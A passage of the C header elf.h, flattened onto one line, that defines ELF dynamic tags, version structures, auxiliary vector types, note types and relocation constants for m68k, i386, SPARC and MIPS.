#define DT_ADDRTAGIDX(tag) (DT_ADDRRNGHI - (tag)) /* Reverse order! */ #define DT_ADDRNUM 11 /* The versioning entry types. The next are defined as part of the GNU extension. */ #define DT_VERSYM 0x6ffffff0 #define DT_RELACOUNT 0x6ffffff9 #define DT_RELCOUNT 0x6ffffffa /* These were chosen by Sun. */ #define DT_FLAGS_1 0x6ffffffb /* State flags, see DF_1_* below. */ #define DT_VERDEF 0x6ffffffc /* Address of version definition table */ #define DT_VERDEFNUM 0x6ffffffd /* Number of version definitions */ #define DT_VERNEED 0x6ffffffe /* Address of table with needed versions */ #define DT_VERNEEDNUM 0x6fffffff /* Number of needed versions */ #define DT_VERSIONTAGIDX(tag) (DT_VERNEEDNUM - (tag)) /* Reverse order! */ #define DT_VERSIONTAGNUM 16 /* Sun added these machine-independent extensions in the "processor-specific" range. Be compatible. */ #define DT_AUXILIARY 0x7ffffffd /* Shared object to load before self */ #define DT_FILTER 0x7fffffff /* Shared object to get values from */ #define DT_EXTRATAGIDX(tag) ((Elf32_Word)-((Elf32_Sword) (tag) <<1>>1)-1) #define DT_EXTRANUM 3 /* Values of `d_un.d_val' in the DT_FLAGS entry. */ #define DF_ORIGIN 0x00000001 /* Object may use DF_ORIGIN */ #define DF_SYMBOLIC 0x00000002 /* Symbol resolutions starts here */ #define DF_TEXTREL 0x00000004 /* Object contains text relocations */ #define DF_BIND_NOW 0x00000008 /* No lazy binding for this object */ #define DF_STATIC_TLS 0x00000010 /* Module uses the static TLS model */ /* State flags selectable in the `d_un.d_val' element of the DT_FLAGS_1 entry in the dynamic section. */ #define DF_1_NOW 0x00000001 /* Set RTLD_NOW for this object. */ #define DF_1_GLOBAL 0x00000002 /* Set RTLD_GLOBAL for this object. */ #define DF_1_GROUP 0x00000004 /* Set RTLD_GROUP for this object. */ #define DF_1_NODELETE 0x00000008 /* Set RTLD_NODELETE for this object.*/ #define DF_1_LOADFLTR 0x00000010 /* Trigger filtee loading at runtime.*/ #define DF_1_INITFIRST 0x00000020 /* Set RTLD_INITFIRST for this object*/ #define DF_1_NOOPEN 0x00000040 /* Set RTLD_NOOPEN for this object. */ #define DF_1_ORIGIN 0x00000080 /* $ORIGIN must be handled. */ #define DF_1_DIRECT 0x00000100 /* Direct binding enabled. */ #define DF_1_TRANS 0x00000200 #define DF_1_INTERPOSE 0x00000400 /* Object is used to interpose. */ #define DF_1_NODEFLIB 0x00000800 /* Ignore default lib search path. */ #define DF_1_NODUMP 0x00001000 /* Object can't be dldump'ed. */ #define DF_1_CONFALT 0x00002000 /* Configuration alternative created.*/ #define DF_1_ENDFILTEE 0x00004000 /* Filtee terminates filters search. */ #define DF_1_DISPRELDNE 0x00008000 /* Disp reloc applied at build time. */ #define DF_1_DISPRELPND 0x00010000 /* Disp reloc applied at run-time. */ #define DF_1_NODIRECT 0x00020000 /* Object has no-direct binding. */ #define DF_1_IGNMULDEF 0x00040000 #define DF_1_NOKSYMS 0x00080000 #define DF_1_NOHDR 0x00100000 #define DF_1_EDITED 0x00200000 /* Object is modified after built. */ #define DF_1_NORELOC 0x00400000 #define DF_1_SYMINTPOSE 0x00800000 /* Object has individual interposers. */ #define DF_1_GLOBAUDIT 0x01000000 /* Global auditing required. */ #define DF_1_SINGLETON 0x02000000 /* Singleton symbols are used. */ #define DF_1_STUB 0x04000000 #define DF_1_PIE 0x08000000 /* Flags for the feature selection in DT_FEATURE_1. */ #define DTF_1_PARINIT 0x00000001 #define DTF_1_CONFEXP 0x00000002 /* Flags in the DT_POSFLAG_1 entry effecting only the next DT_* entry. */ #define DF_P1_LAZYLOAD 0x00000001 /* Lazyload following object. */ #define DF_P1_GROUPPERM 0x00000002 /* Symbols from next object are not generally available. */ /* Version definition sections. */ typedef struct { Elf32_Half vd_version; /* Version revision */ Elf32_Half vd_flags; /* Version information */ Elf32_Half vd_ndx; /* Version Index */ Elf32_Half vd_cnt; /* Number of associated aux entries */ Elf32_Word vd_hash; /* Version name hash value */ Elf32_Word vd_aux; /* Offset in bytes to verdaux array */ Elf32_Word vd_next; /* Offset in bytes to next verdef entry */ } Elf32_Verdef; typedef struct { Elf64_Half vd_version; /* Version revision */ Elf64_Half vd_flags; /* Version information */ Elf64_Half vd_ndx; /* Version Index */ Elf64_Half vd_cnt; /* Number of associated aux entries */ Elf64_Word vd_hash; /* Version name hash value */ Elf64_Word vd_aux; /* Offset in bytes to verdaux array */ Elf64_Word vd_next; /* Offset in bytes to next verdef entry */ } Elf64_Verdef; /* Legal values for vd_version (version revision). */ #define VER_DEF_NONE 0 /* No version */ #define VER_DEF_CURRENT 1 /* Current version */ #define VER_DEF_NUM 2 /* Given version number */ /* Legal values for vd_flags (version information flags). */ #define VER_FLG_BASE 0x1 /* Version definition of file itself */ #define VER_FLG_WEAK 0x2 /* Weak version identifier. Also used by vna_flags below. */ /* Versym symbol index values. */ #define VER_NDX_LOCAL 0 /* Symbol is local. */ #define VER_NDX_GLOBAL 1 /* Symbol is global. */ #define VER_NDX_LORESERVE 0xff00 /* Beginning of reserved entries. */ #define VER_NDX_ELIMINATE 0xff01 /* Symbol is to be eliminated. */ /* Auxialiary version information. */ typedef struct { Elf32_Word vda_name; /* Version or dependency names */ Elf32_Word vda_next; /* Offset in bytes to next verdaux entry */ } Elf32_Verdaux; typedef struct { Elf64_Word vda_name; /* Version or dependency names */ Elf64_Word vda_next; /* Offset in bytes to next verdaux entry */ } Elf64_Verdaux; /* Version dependency section. */ typedef struct { Elf32_Half vn_version; /* Version of structure */ Elf32_Half vn_cnt; /* Number of associated aux entries */ Elf32_Word vn_file; /* Offset of filename for this dependency */ Elf32_Word vn_aux; /* Offset in bytes to vernaux array */ Elf32_Word vn_next; /* Offset in bytes to next verneed entry */ } Elf32_Verneed; typedef struct { Elf64_Half vn_version; /* Version of structure */ Elf64_Half vn_cnt; /* Number of associated aux entries */ Elf64_Word vn_file; /* Offset of filename for this dependency */ Elf64_Word vn_aux; /* Offset in bytes to vernaux array */ Elf64_Word vn_next; /* Offset in bytes to next verneed entry */ } Elf64_Verneed; /* Legal values for vn_version (version revision). */ #define VER_NEED_NONE 0 /* No version */ #define VER_NEED_CURRENT 1 /* Current version */ #define VER_NEED_NUM 2 /* Given version number */ /* Auxiliary needed version information. */ typedef struct { Elf32_Word vna_hash; /* Hash value of dependency name */ Elf32_Half vna_flags; /* Dependency specific information */ Elf32_Half vna_other; /* Unused */ Elf32_Word vna_name; /* Dependency name string offset */ Elf32_Word vna_next; /* Offset in bytes to next vernaux entry */ } Elf32_Vernaux; typedef struct { Elf64_Word vna_hash; /* Hash value of dependency name */ Elf64_Half vna_flags; /* Dependency specific information */ Elf64_Half vna_other; /* Unused */ Elf64_Word vna_name; /* Dependency name string offset */ Elf64_Word vna_next; /* Offset in bytes to next vernaux entry */ } Elf64_Vernaux; /* Auxiliary vector. */ /* This vector is normally only used by the program interpreter. The usual definition in an ABI supplement uses the name auxv_t. The vector is not usually defined in a standard <elf.h> file, but it can't hurt. We rename it to avoid conflicts. The sizes of these types are an arrangement between the exec server and the program interpreter, so we don't fully specify them here. */ typedef struct { uint32_t a_type; /* Entry type */ union { uint32_t a_val; /* Integer value */ /* We use to have pointer elements added here. We cannot do that, though, since it does not work when using 32-bit definitions on 64-bit platforms and vice versa. */ } a_un; } Elf32_auxv_t; typedef struct { uint64_t a_type; /* Entry type */ union { uint64_t a_val; /* Integer value */ /* We use to have pointer elements added here. We cannot do that, though, since it does not work when using 32-bit definitions on 64-bit platforms and vice versa. */ } a_un; } Elf64_auxv_t; /* Legal values for a_type (entry type). */ #define AT_NULL 0 /* End of vector */ #define AT_IGNORE 1 /* Entry should be ignored */ #define AT_EXECFD 2 /* File descriptor of program */ #define AT_PHDR 3 /* Program headers for program */ #define AT_PHENT 4 /* Size of program header entry */ #define AT_PHNUM 5 /* Number of program headers */ #define AT_PAGESZ 6 /* System page size */ #define AT_BASE 7 /* Base address of interpreter */ #define AT_FLAGS 8 /* Flags */ #define AT_ENTRY 9 /* Entry point of program */ #define AT_NOTELF 10 /* Program is not ELF */ #define AT_UID 11 /* Real uid */ #define AT_EUID 12 /* Effective uid */ #define AT_GID 13 /* Real gid */ #define AT_EGID 14 /* Effective gid */ #define AT_CLKTCK 17 /* Frequency of times() */ /* Some more special a_type values describing the hardware. */ #define AT_PLATFORM 15 /* String identifying platform. */ #define AT_HWCAP 16 /* Machine-dependent hints about processor capabilities. */ /* This entry gives some information about the FPU initialization performed by the kernel. */ #define AT_FPUCW 18 /* Used FPU control word. */ /* Cache block sizes. */ #define AT_DCACHEBSIZE 19 /* Data cache block size. */ #define AT_ICACHEBSIZE 20 /* Instruction cache block size. */ #define AT_UCACHEBSIZE 21 /* Unified cache block size. */ /* A special ignored value for PPC, used by the kernel to control the interpretation of the AUXV. Must be > 16. */ #define AT_IGNOREPPC 22 /* Entry should be ignored. */ #define AT_SECURE 23 /* Boolean, was exec setuid-like? */ #define AT_BASE_PLATFORM 24 /* String identifying real platforms.*/ #define AT_RANDOM 25 /* Address of 16 random bytes. */ #define AT_HWCAP2 26 /* More machine-dependent hints about processor capabilities. */ #define AT_EXECFN 31 /* Filename of executable. */ /* Pointer to the global system page used for system calls and other nice things. */ #define AT_SYSINFO 32 #define AT_SYSINFO_EHDR 33 /* Shapes of the caches. Bits 0-3 contains associativity; bits 4-7 contains log2 of line size; mask those to get cache size. */ #define AT_L1I_CACHESHAPE 34 #define AT_L1D_CACHESHAPE 35 #define AT_L2_CACHESHAPE 36 #define AT_L3_CACHESHAPE 37 /* Shapes of the caches, with more room to describe them. *GEOMETRY are comprised of cache line size in bytes in the bottom 16 bits and the cache associativity in the next 16 bits. */ #define AT_L1I_CACHESIZE 40 #define AT_L1I_CACHEGEOMETRY 41 #define AT_L1D_CACHESIZE 42 #define AT_L1D_CACHEGEOMETRY 43 #define AT_L2_CACHESIZE 44 #define AT_L2_CACHEGEOMETRY 45 #define AT_L3_CACHESIZE 46 #define AT_L3_CACHEGEOMETRY 47 /* Note section contents. Each entry in the note section begins with a header of a fixed form. */ typedef struct { Elf32_Word n_namesz; /* Length of the note's name. */ Elf32_Word n_descsz; /* Length of the note's descriptor. */ Elf32_Word n_type; /* Type of the note. */ } Elf32_Nhdr; typedef struct { Elf64_Word n_namesz; /* Length of the note's name. */ Elf64_Word n_descsz; /* Length of the note's descriptor. */ Elf64_Word n_type; /* Type of the note. */ } Elf64_Nhdr; /* Known names of notes. */ /* Solaris entries in the note section have this name. */ #define ELF_NOTE_SOLARIS "SUNW Solaris" /* Note entries for GNU systems have this name. */ #define ELF_NOTE_GNU "GNU" /* Defined types of notes for Solaris. */ /* Value of descriptor (one word) is desired pagesize for the binary. */ #define ELF_NOTE_PAGESIZE_HINT 1 /* Defined note types for GNU systems. */ /* ABI information. The descriptor consists of words: word 0: OS descriptor word 1: major version of the ABI word 2: minor version of the ABI word 3: subminor version of the ABI */ #define NT_GNU_ABI_TAG 1 #define ELF_NOTE_ABI NT_GNU_ABI_TAG /* Old name. */ /* Known OSes. These values can appear in word 0 of an NT_GNU_ABI_TAG note section entry. */ #define ELF_NOTE_OS_LINUX 0 #define ELF_NOTE_OS_GNU 1 #define ELF_NOTE_OS_SOLARIS2 2 #define ELF_NOTE_OS_FREEBSD 3 /* Synthetic hwcap information. The descriptor begins with two words: word 0: number of entries word 1: bitmask of enabled entries Then follow variable-length entries, one byte followed by a '\0'-terminated hwcap name string. The byte gives the bit number to test if enabled, (1U << bit) & bitmask. */ #define NT_GNU_HWCAP 2 /* Build ID bits as generated by ld --build-id. The descriptor consists of any nonzero number of bytes. */ #define NT_GNU_BUILD_ID 3 /* Version note generated by GNU gold containing a version string. */ #define NT_GNU_GOLD_VERSION 4 /* Program property. */ #define NT_GNU_PROPERTY_TYPE_0 5 /* Note section name of program property. */ #define NOTE_GNU_PROPERTY_SECTION_NAME ".note.gnu.property" /* Values used in GNU .note.gnu.property notes (NT_GNU_PROPERTY_TYPE_0). */ /* Stack size. */ #define GNU_PROPERTY_STACK_SIZE 1 /* No copy relocation on protected data symbol. */ #define GNU_PROPERTY_NO_COPY_ON_PROTECTED 2 /* Processor-specific semantics, lo */ #define GNU_PROPERTY_LOPROC 0xc0000000 /* Processor-specific semantics, hi */ #define GNU_PROPERTY_HIPROC 0xdfffffff /* Application-specific semantics, lo */ #define GNU_PROPERTY_LOUSER 0xe0000000 /* Application-specific semantics, hi */ #define GNU_PROPERTY_HIUSER 0xffffffff /* The x86 instruction sets indicated by the corresponding bits are used in program. Their support in the hardware is optional. */ #define GNU_PROPERTY_X86_ISA_1_USED 0xc0000000 /* The x86 instruction sets indicated by the corresponding bits are used in program and they must be supported by the hardware. */ #define GNU_PROPERTY_X86_ISA_1_NEEDED 0xc0000001 /* X86 processor-specific features used in program. */ #define GNU_PROPERTY_X86_FEATURE_1_AND 0xc0000002 #define GNU_PROPERTY_X86_ISA_1_486 (1U << 0) #define GNU_PROPERTY_X86_ISA_1_586 (1U << 1) #define GNU_PROPERTY_X86_ISA_1_686 (1U << 2) #define GNU_PROPERTY_X86_ISA_1_SSE (1U << 3) #define GNU_PROPERTY_X86_ISA_1_SSE2 (1U << 4) #define GNU_PROPERTY_X86_ISA_1_SSE3 (1U << 5) #define GNU_PROPERTY_X86_ISA_1_SSSE3 (1U << 6) #define GNU_PROPERTY_X86_ISA_1_SSE4_1 (1U << 7) #define GNU_PROPERTY_X86_ISA_1_SSE4_2 (1U << 8) #define GNU_PROPERTY_X86_ISA_1_AVX (1U << 9) #define GNU_PROPERTY_X86_ISA_1_AVX2 (1U << 10) #define GNU_PROPERTY_X86_ISA_1_AVX512F (1U << 11) #define GNU_PROPERTY_X86_ISA_1_AVX512CD (1U << 12) #define GNU_PROPERTY_X86_ISA_1_AVX512ER (1U << 13) #define GNU_PROPERTY_X86_ISA_1_AVX512PF (1U << 14) #define GNU_PROPERTY_X86_ISA_1_AVX512VL (1U << 15) #define GNU_PROPERTY_X86_ISA_1_AVX512DQ (1U << 16) #define GNU_PROPERTY_X86_ISA_1_AVX512BW (1U << 17) /* This indicates that all executable sections are compatible with IBT. */ #define GNU_PROPERTY_X86_FEATURE_1_IBT (1U << 0) /* This indicates that all executable sections are compatible with SHSTK. */ #define GNU_PROPERTY_X86_FEATURE_1_SHSTK (1U << 1) /* Move records. */ typedef struct { Elf32_Xword m_value; /* Symbol value. */ Elf32_Word m_info; /* Size and index. */ Elf32_Word m_poffset; /* Symbol offset. */ Elf32_Half m_repeat; /* Repeat count. */ Elf32_Half m_stride; /* Stride info. */ } Elf32_Move; typedef struct { Elf64_Xword m_value; /* Symbol value. */ Elf64_Xword m_info; /* Size and index. */ Elf64_Xword m_poffset; /* Symbol offset. */ Elf64_Half m_repeat; /* Repeat count. */ Elf64_Half m_stride; /* Stride info. */ } Elf64_Move; /* Macro to construct move records. */ #define ELF32_M_SYM(info) ((info) >> 8) #define ELF32_M_SIZE(info) ((unsigned char) (info)) #define ELF32_M_INFO(sym, size) (((sym) << 8) + (unsigned char) (size)) #define ELF64_M_SYM(info) ELF32_M_SYM (info) #define ELF64_M_SIZE(info) ELF32_M_SIZE (info) #define ELF64_M_INFO(sym, size) ELF32_M_INFO (sym, size) /* Motorola 68k specific definitions. */ /* Values for Elf32_Ehdr.e_flags. */ #define EF_CPU32 0x00810000 /* m68k relocs. */ #define R_68K_NONE 0 /* No reloc */ #define R_68K_32 1 /* Direct 32 bit */ #define R_68K_16 2 /* Direct 16 bit */ #define R_68K_8 3 /* Direct 8 bit */ #define R_68K_PC32 4 /* PC relative 32 bit */ #define R_68K_PC16 5 /* PC relative 16 bit */ #define R_68K_PC8 6 /* PC relative 8 bit */ #define R_68K_GOT32 7 /* 32 bit PC relative GOT entry */ #define R_68K_GOT16 8 /* 16 bit PC relative GOT entry */ #define R_68K_GOT8 9 /* 8 bit PC relative GOT entry */ #define R_68K_GOT32O 10 /* 32 bit GOT offset */ #define R_68K_GOT16O 11 /* 16 bit GOT offset */ #define R_68K_GOT8O 12 /* 8 bit GOT offset */ #define R_68K_PLT32 13 /* 32 bit PC relative PLT address */ #define R_68K_PLT16 14 /* 16 bit PC relative PLT address */ #define R_68K_PLT8 15 /* 8 bit PC relative PLT address */ #define R_68K_PLT32O 16 /* 32 bit PLT offset */ #define R_68K_PLT16O 17 /* 16 bit PLT offset */ #define R_68K_PLT8O 18 /* 8 bit PLT offset */ #define R_68K_COPY 19 /* Copy symbol at runtime */ #define R_68K_GLOB_DAT 20 /* Create GOT entry */ #define R_68K_JMP_SLOT 21 /* Create PLT entry */ #define R_68K_RELATIVE 22 /* Adjust by program base */ #define R_68K_TLS_GD32 25 /* 32 bit GOT offset for GD */ #define R_68K_TLS_GD16 26 /* 16 bit GOT offset for GD */ #define R_68K_TLS_GD8 27 /* 8 bit GOT offset for GD */ #define R_68K_TLS_LDM32 28 /* 32 bit GOT offset for LDM */ #define R_68K_TLS_LDM16 29 /* 16 bit GOT offset for LDM */ #define R_68K_TLS_LDM8 30 /* 8 bit GOT offset for LDM */ #define R_68K_TLS_LDO32 31 /* 32 bit module-relative offset */ #define R_68K_TLS_LDO16 32 /* 16 bit module-relative offset */ #define R_68K_TLS_LDO8 33 /* 8 bit module-relative offset */ #define R_68K_TLS_IE32 34 /* 32 bit GOT offset for IE */ #define R_68K_TLS_IE16 35 /* 16 bit GOT offset for IE */ #define R_68K_TLS_IE8 36 /* 8 bit GOT offset for IE */ #define R_68K_TLS_LE32 37 /* 32 bit offset relative to static TLS block */ #define R_68K_TLS_LE16 38 /* 16 bit offset relative to static TLS block */ #define R_68K_TLS_LE8 39 /* 8 bit offset relative to static TLS block */ #define R_68K_TLS_DTPMOD32 40 /* 32 bit module number */ #define R_68K_TLS_DTPREL32 41 /* 32 bit module-relative offset */ #define R_68K_TLS_TPREL32 42 /* 32 bit TP-relative offset */ /* Keep this the last entry. */ #define R_68K_NUM 43 /* Intel 80386 specific definitions. */ /* i386 relocs. */ #define R_386_NONE 0 /* No reloc */ #define R_386_32 1 /* Direct 32 bit */ #define R_386_PC32 2 /* PC relative 32 bit */ #define R_386_GOT32 3 /* 32 bit GOT entry */ #define R_386_PLT32 4 /* 32 bit PLT address */ #define R_386_COPY 5 /* Copy symbol at runtime */ #define R_386_GLOB_DAT 6 /* Create GOT entry */ #define R_386_JMP_SLOT 7 /* Create PLT entry */ #define R_386_RELATIVE 8 /* Adjust by program base */ #define R_386_GOTOFF 9 /* 32 bit offset to GOT */ #define R_386_GOTPC 10 /* 32 bit PC relative offset to GOT */ #define R_386_32PLT 11 #define R_386_TLS_TPOFF 14 /* Offset in static TLS block */ #define R_386_TLS_IE 15 /* Address of GOT entry for static TLS block offset */ #define R_386_TLS_GOTIE 16 /* GOT entry for static TLS block offset */ #define R_386_TLS_LE 17 /* Offset relative to static TLS block */ #define R_386_TLS_GD 18 /* Direct 32 bit for GNU version of general dynamic thread local data */ #define R_386_TLS_LDM 19 /* Direct 32 bit for GNU version of local dynamic thread local data in LE code */ #define R_386_16 20 #define R_386_PC16 21 #define R_386_8 22 #define R_386_PC8 23 #define R_386_TLS_GD_32 24 /* Direct 32 bit for general dynamic thread local data */ #define R_386_TLS_GD_PUSH 25 /* Tag for pushl in GD TLS code */ #define R_386_TLS_GD_CALL 26 /* Relocation for call to __tls_get_addr() */ #define R_386_TLS_GD_POP 27 /* Tag for popl in GD TLS code */ #define R_386_TLS_LDM_32 28 /* Direct 32 bit for local dynamic thread local data in LE code */ #define R_386_TLS_LDM_PUSH 29 /* Tag for pushl in LDM TLS code */ #define R_386_TLS_LDM_CALL 30 /* Relocation for call to __tls_get_addr() in LDM code */ #define R_386_TLS_LDM_POP 31 /* Tag for popl in LDM TLS code */ #define R_386_TLS_LDO_32 32 /* Offset relative to TLS block */ #define R_386_TLS_IE_32 33 /* GOT entry for negated static TLS block offset */ #define R_386_TLS_LE_32 34 /* Negated offset relative to static TLS block */ #define R_386_TLS_DTPMOD32 35 /* ID of module containing symbol */ #define R_386_TLS_DTPOFF32 36 /* Offset in TLS block */ #define R_386_TLS_TPOFF32 37 /* Negated offset in static TLS block */ #define R_386_SIZE32 38 /* 32-bit symbol size */ #define R_386_TLS_GOTDESC 39 /* GOT offset for TLS descriptor. */ #define R_386_TLS_DESC_CALL 40 /* Marker of call through TLS descriptor for relaxation. */ #define R_386_TLS_DESC 41 /* TLS descriptor containing pointer to code and to argument, returning the TLS offset for the symbol. */ #define R_386_IRELATIVE 42 /* Adjust indirectly by program base */ #define R_386_GOT32X 43 /* Load from 32 bit GOT entry, relaxable. */ /* Keep this the last entry. */ #define R_386_NUM 44 /* SUN SPARC specific definitions. */ /* Legal values for ST_TYPE subfield of st_info (symbol type). */ #define STT_SPARC_REGISTER 13 /* Global register reserved to app. */ /* Values for Elf64_Ehdr.e_flags. */ #define EF_SPARCV9_MM 3 #define EF_SPARCV9_TSO 0 #define EF_SPARCV9_PSO 1 #define EF_SPARCV9_RMO 2 #define EF_SPARC_LEDATA 0x800000 /* little endian data */ #define EF_SPARC_EXT_MASK 0xFFFF00 #define EF_SPARC_32PLUS 0x000100 /* generic V8+ features */ #define EF_SPARC_SUN_US1 0x000200 /* Sun UltraSPARC1 extensions */ #define EF_SPARC_HAL_R1 0x000400 /* HAL R1 extensions */ #define EF_SPARC_SUN_US3 0x000800 /* Sun UltraSPARCIII extensions */ /* SPARC relocs. */ #define R_SPARC_NONE 0 /* No reloc */ #define R_SPARC_8 1 /* Direct 8 bit */ #define R_SPARC_16 2 /* Direct 16 bit */ #define R_SPARC_32 3 /* Direct 32 bit */ #define R_SPARC_DISP8 4 /* PC relative 8 bit */ #define R_SPARC_DISP16 5 /* PC relative 16 bit */ #define R_SPARC_DISP32 6 /* PC relative 32 bit */ #define R_SPARC_WDISP30 7 /* PC relative 30 bit shifted */ #define R_SPARC_WDISP22 8 /* PC relative 22 bit shifted */ #define R_SPARC_HI22 9 /* High 22 bit */ #define R_SPARC_22 10 /* Direct 22 bit */ #define R_SPARC_13 11 /* Direct 13 bit */ #define R_SPARC_LO10 12 /* Truncated 10 bit */ #define R_SPARC_GOT10 13 /* Truncated 10 bit GOT entry */ #define R_SPARC_GOT13 14 /* 13 bit GOT entry */ #define R_SPARC_GOT22 15 /* 22 bit GOT entry shifted */ #define R_SPARC_PC10 16 /* PC relative 10 bit truncated */ #define R_SPARC_PC22 17 /* PC relative 22 bit shifted */ #define R_SPARC_WPLT30 18 /* 30 bit PC relative PLT address */ #define R_SPARC_COPY 19 /* Copy symbol at runtime */ #define R_SPARC_GLOB_DAT 20 /* Create GOT entry */ #define R_SPARC_JMP_SLOT 21 /* Create PLT entry */ #define R_SPARC_RELATIVE 22 /* Adjust by program base */ #define R_SPARC_UA32 23 /* Direct 32 bit unaligned */ /* Additional Sparc64 relocs. */ #define R_SPARC_PLT32 24 /* Direct 32 bit ref to PLT entry */ #define R_SPARC_HIPLT22 25 /* High 22 bit PLT entry */ #define R_SPARC_LOPLT10 26 /* Truncated 10 bit PLT entry */ #define R_SPARC_PCPLT32 27 /* PC rel 32 bit ref to PLT entry */ #define R_SPARC_PCPLT22 28 /* PC rel high 22 bit PLT entry */ #define R_SPARC_PCPLT10 29 /* PC rel trunc 10 bit PLT entry */ #define R_SPARC_10 30 /* Direct 10 bit */ #define R_SPARC_11 31 /* Direct 11 bit */ #define R_SPARC_64 32 /* Direct 64 bit */ #define R_SPARC_OLO10 33 /* 10bit with secondary 13bit addend */ #define R_SPARC_HH22 34 /* Top 22 bits of direct 64 bit */ #define R_SPARC_HM10 35 /* High middle 10 bits of ... */ #define R_SPARC_LM22 36 /* Low middle 22 bits of ... */ #define R_SPARC_PC_HH22 37 /* Top 22 bits of pc rel 64 bit */ #define R_SPARC_PC_HM10 38 /* High middle 10 bit of ... */ #define R_SPARC_PC_LM22 39 /* Low miggle 22 bits of ... */ #define R_SPARC_WDISP16 40 /* PC relative 16 bit shifted */ #define R_SPARC_WDISP19 41 /* PC relative 19 bit shifted */ #define R_SPARC_GLOB_JMP 42 /* was part of v9 ABI but was removed */ #define R_SPARC_7 43 /* Direct 7 bit */ #define R_SPARC_5 44 /* Direct 5 bit */ #define R_SPARC_6 45 /* Direct 6 bit */ #define R_SPARC_DISP64 46 /* PC relative 64 bit */ #define R_SPARC_PLT64 47 /* Direct 64 bit ref to PLT entry */ #define R_SPARC_HIX22 48 /* High 22 bit complemented */ #define R_SPARC_LOX10 49 /* Truncated 11 bit complemented */ #define R_SPARC_H44 50 /* Direct high 12 of 44 bit */ #define R_SPARC_M44 51 /* Direct mid 22 of 44 bit */ #define R_SPARC_L44 52 /* Direct low 10 of 44 bit */ #define R_SPARC_REGISTER 53 /* Global register usage */ #define R_SPARC_UA64 54 /* Direct 64 bit unaligned */ #define R_SPARC_UA16 55 /* Direct 16 bit unaligned */ #define R_SPARC_TLS_GD_HI22 56 #define R_SPARC_TLS_GD_LO10 57 #define R_SPARC_TLS_GD_ADD 58 #define R_SPARC_TLS_GD_CALL 59 #define R_SPARC_TLS_LDM_HI22 60 #define R_SPARC_TLS_LDM_LO10 61 #define R_SPARC_TLS_LDM_ADD 62 #define R_SPARC_TLS_LDM_CALL 63 #define R_SPARC_TLS_LDO_HIX22 64 #define R_SPARC_TLS_LDO_LOX10 65 #define R_SPARC_TLS_LDO_ADD 66 #define R_SPARC_TLS_IE_HI22 67 #define R_SPARC_TLS_IE_LO10 68 #define R_SPARC_TLS_IE_LD 69 #define R_SPARC_TLS_IE_LDX 70 #define R_SPARC_TLS_IE_ADD 71 #define R_SPARC_TLS_LE_HIX22 72 #define R_SPARC_TLS_LE_LOX10 73 #define R_SPARC_TLS_DTPMOD32 74 #define R_SPARC_TLS_DTPMOD64 75 #define R_SPARC_TLS_DTPOFF32 76 #define R_SPARC_TLS_DTPOFF64 77 #define R_SPARC_TLS_TPOFF32 78 #define R_SPARC_TLS_TPOFF64 79 #define R_SPARC_GOTDATA_HIX22 80 #define R_SPARC_GOTDATA_LOX10 81 #define R_SPARC_GOTDATA_OP_HIX22 82 #define R_SPARC_GOTDATA_OP_LOX10 83 #define R_SPARC_GOTDATA_OP 84 #define R_SPARC_H34 85 #define R_SPARC_SIZE32 86 #define R_SPARC_SIZE64 87 #define R_SPARC_WDISP10 88 #define R_SPARC_JMP_IREL 248 #define R_SPARC_IRELATIVE 249 #define R_SPARC_GNU_VTINHERIT 250 #define R_SPARC_GNU_VTENTRY 251 #define R_SPARC_REV32 252 /* Keep this the last entry. */ #define R_SPARC_NUM 253 /* For Sparc64, legal values for d_tag of Elf64_Dyn. */ #define DT_SPARC_REGISTER 0x70000001 #define DT_SPARC_NUM 2 /* MIPS R3000 specific definitions. */ /* Legal values for e_flags field of Elf32_Ehdr. */ #define EF_MIPS_NOREORDER 1 /* A .noreorder directive was used. */ #define EF_MIPS_PIC 2 /* Contains PIC code. */ #define EF_MIPS_CPIC 4 /* Uses PIC calling sequence. */ #define EF_MIPS_XGOT 8 #define EF_MIPS_64BIT_WHIRL 16 #define EF_MIPS_ABI2 32 #define EF_MIPS_ABI_ON32 64 #define EF_MIPS_FP64 512 /* Uses FP64 (12 callee-saved). */ #define EF_MIPS_NAN2008 1024 /* Uses IEEE 754-2008 NaN encoding. */ #define EF_MIPS_ARCH 0xf0000000 /* MIPS architecture level. */ /* Legal values for MIPS architecture level. */ #define EF_MIPS_ARCH_1 0x00000000 /* -mips1 code. */ #define EF_MIPS_ARCH_2 0x10000000 /* -mips2 code. */ #define EF_MIPS_ARCH_3 0x20000000 /* -mips3 code. */ #define EF_MIPS_ARCH_4 0x30000000 /* -mips4 code. */ #define EF_MIPS_ARCH_5 0x40000000 /* -mips5 code. */ #define EF_MIPS_ARCH_32 0x50000000 /* MIPS32 code. */ #define EF_MIPS_ARCH_64 0x60000000 /* MIPS64 code. */ #define EF_MIPS_ARCH_32R2 0x70000000 /* MIPS32r2 code. */ #define EF_MIPS_ARCH_64R2 0x80000000 /* MIPS64r2 code. */ /* The following are unofficial names and should not be used. */ #define E_MIPS_ARCH_1 EF_MIPS_ARCH_1 #define E_MIPS_ARCH_2 EF_MIPS_ARCH_2 #define E_MIPS_ARCH_3 EF_MIPS_ARCH_3 #define E_MIPS_ARCH_4 EF_MIPS_ARCH_4 #define E_MIPS_ARCH_5 EF_MIPS_ARCH_5 #define E_MIPS_ARCH_32 EF_MIPS_ARCH_32 #define E_MIPS_ARCH_64 EF_MIPS_ARCH_64 /* Special section indices. */ #define SHN_MIPS_ACOMMON 0xff00 /* Allocated common symbols. */ #define SHN_MIPS_TEXT 0xff01 /* Allocated test symbols. */ #define SHN_MIPS_DATA 0xff02 /* Allocated data symbols. */ #define SHN_MIPS_SCOMMON 0xff03 /* Small common symbols. */ #define SHN_MIPS_SUNDEFINED 0xff04 /* Small undefined symbols. */ /* Legal values for sh_type field of Elf32_Shdr. */ #define SHT_MIPS_LIBLIST 0x70000000 /* Shared objects used in link. */ #define SHT_MIPS_MSYM 0x70000001 #define SHT_MIPS_CONFLICT 0x70000002 /* Conflicting symbols. */ #define SHT_MIPS_GPTAB 0x70000003 /* Global data area sizes. */ #define SHT_MIPS_UCODE 0x70000004 /* Reserved for SGI/MIPS compilers */ #define SHT_MIPS_DEBUG 0x70000005 /* MIPS ECOFF debugging info. */ #define SHT_MIPS_REGINFO 0x70000006 /* Register usage information. */ #define SHT_MIPS_PACKAGE 0x70000007 #define SHT_MIPS_PACKSYM 0x70000008 #define SHT_MIPS_RELD 0x70000009 #define SHT_MIPS_IFACE 0x7000000b #define SHT_MIPS_CONTENT 0x7000000c #define SHT_MIPS_OPTIONS 0x7000000d /* Miscellaneous options. */ #define SHT_MIPS_SHDR 0x70000010 #define SHT_MIPS_FDESC 0x70000011 #define SHT_MIPS_EXTSYM 